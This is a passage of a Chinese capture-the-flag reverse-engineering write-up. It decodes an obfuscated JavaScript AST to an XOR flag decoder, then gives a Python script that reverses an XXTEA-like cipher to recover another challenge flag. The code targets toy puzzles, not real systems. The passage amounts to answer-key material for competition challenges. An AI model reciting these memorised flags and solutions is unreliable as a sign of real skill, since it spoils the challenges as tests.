},
{
"type": "ExpressionStatement",
"start": 278,
"end": 335,
"expression": {
"type": "CallExpression",
"start": 278,
"end": 334,
"callee": {
"type": "MemberExpression",
"start": 278,
"end": 289,
"object": {
"type": "Identifier",
"start": 278,
"end": 285,
"name": "console"
},
"property": {
"type": "Identifier",
"start": 286,
"end": 289,
"name": "log"
},
"computed": false,
"optional": false
},
"arguments": [
{
"type": "CallExpression",
"start": 290,
"end": 333,
"callee": {
"type": "Identifier",
"start": 290,
"end": 298,
"name": "ezdecode"
},
"arguments": [
{
"type": "Literal",
"start": 299,
"end": 327,
"value": "OTYN\\a[inE+iEl.hcEo)ivo+g",
"raw": "'OTYN\\\\a[inE+iEl.hcEo)ivo+g'"
},
{
"type": "Identifier",
"start": 329,
"end": 332,
"name": "$_a"
}
],
"optional": false
}
],
"optional": false
}
}
]
}
},
"arguments": [],
"optional": false
}
},
{
"type": "FunctionDeclaration",
"start": 342,
"end": 379,
"id": {
"type": "Identifier",
"start": 351,
"end": 355,
"name": "test"
},
"expression": false,
"generator": false,
"async": false,
"params": [],
"body": {
"type": "BlockStatement",
"start": 357,
"end": 379,
"body": [
{
"type": "ReturnStatement",
"start": 363,
"end": 377,
"argument": {
"type": "Literal",
"start": 370,
"end": 376,
"value": 114514,
"raw": "114514"
}
}
]
}
}
],
"sourceType": "module"
});
console.log(t)
直接运行就完事了
(function () {
function ezdecode(flag, key) {
var arr_data = flag.split('');
return arr_data.map(i => {
return String.fromCharCode(i.charCodeAt() ^ key + 1);
}).join('');
}
var $_a = test();
$_a -= 1145 * 100;
$_a += 11;
console.log(ezdecode('OTYN\\a[inE+iEl.hcEo)ivo+g', $_a));
}());
function test() {
return 114514;
}
今天喝茶,明天上班
直接无语了,Dest0g3招新赛的原题,flag都没改。。wp网上一搜一大把,随便找个佬脚本拿来跑
from libnum import s2n,n2s
c = bytes.fromhex('0323222F3688FD4321E85B65311E3BA64BB8DC888019846F97722126AD64EEBB88044D062F26E56B814BF573')
delta = 0x66403319 ^ 0x12345678
del_arr = n2s(delta)[::-1]
p = []
for i in del_arr:
if i&0x80 != 0:
p.append(i+0xffffff)
else:
p.append(i)
del_arr = p
print(','.join([hex(i) for i in del_arr]))
tab = [delta*(i+1)& 0xffffffff for i in range(10)]
print(",".join([hex(i) for i in tab]))
def decrypt(c):
flag = [s2n(c[i: i+4][::-1]) for i in range(0, len(c), 4)]
for i in range(9,-1,-1): #10轮加密
v10 = tab[i]
v7 = (v10>>2)&3
#print(hex(v10))
for j in range(10,-1,-1): #11组 * 4
i_big = (j+1)%11
i_small = (j-1)%11
v11 = flag[i_small]
v12 = flag[i_big]
v3 = ((v11 ^ del_arr[v7 ^ j & 3])+(v12 ^ v10) ) ^ ((((v11<<4) &0xffffffff)^ (v12 >> 3))+(((v12<<2)&0xffffffff) ^ (v11 >> 6)))
flag[j] = (flag[j] - v3)&0xffffffff
print(",".join([hex(i)[2:] for i in flag]))
m = b''
for i in flag:
m +=n2s(i)[::-1]
print(m)
def encrypt(c):
flag = [s2n(c[i: i+4][::-1]) for i in range(0, len(c), 4)]
for i in range(10): #10轮加密
v10 = tab[i]
v7 = (v10>>2)&3
#print(hex(v10))
for j in range(11): #11组 * 4
i_big = (j+1)%11
i_small = (j-1)%11
v11 = flag[i_small]
v12 = flag[i_big]
v3 = ((v11 ^ del_arr[v7 ^ j & 3])+(v12 ^ v10) ) ^ ((((v11<<4) &0xffffffff)^ (v12 >> 3))+(((v12<<2)&0xffffffff) ^ (v11 >> 6)))
flag[j] = (flag[j] + v3)&0xffffffff
print(",".join([hex(i)[2:] for i in flag]))
m = b''
for i in flag:
m +=n2s(i)[::-1]
print(m)
return m
decrypt(c)